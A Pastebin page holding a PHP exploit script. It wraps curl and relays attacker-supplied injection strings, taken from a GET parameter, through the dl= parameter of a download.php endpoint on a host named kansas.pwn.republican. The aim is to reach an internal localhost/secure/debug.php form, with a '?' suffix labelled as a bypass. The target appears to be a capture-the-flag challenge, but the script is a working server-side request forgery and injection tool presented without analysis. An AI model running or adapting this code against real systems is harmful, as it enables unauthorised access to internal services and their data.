Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function customCurl($URL=null, $postData=false, $cookie='set', $customHeader=null, $oHeader=false, $proxy=false){
- $cookieJar = './cookie'; //tempnam('/tmp','cookie');
- $ch = curl_init($URL);
- if($cookie==='set'){
- @unlink($cookieJar);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
- }elseif($cookie==='get')
- curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
- else{}
- if($proxy)
- curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, $oHeader);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); //don't follow redirects
- if($postData!==false){
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
- curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
- }
- if($customHeader!==null){
- curl_setopt($ch, CURLOPT_HTTPHEADER, $customHeader);
- }
- $response = curl_exec($ch);
- @list($headers, $body) = explode("\r\n\r\n", $response, 2);
- return array('headers'=>$headers, 'body'=>$body);
- }
- $Injection = $_GET['inj'];
- $baseURL = 'http://kansas.pwn.republican/download.php?dl=';
- $data = 'http://localhost/secure/debug.php?s=3&txtfirst_name=Voorivex&txtmiddle_name=Voorivex&txtLast_name=Voorivex&txtname_suffix=Voo&txtdob=05%2F03%2F198' . $Injection . '&txtdl_nmbr=K19902613&txtRetypeDL=K19902613&btnContinue2=Continue';
- $bypass = '?';
- $response = customCurl($baseURL . urlencode($data) . $bypass);
- echo $response['headers'];
- ?>
Add Comment
Please, Sign In to add comment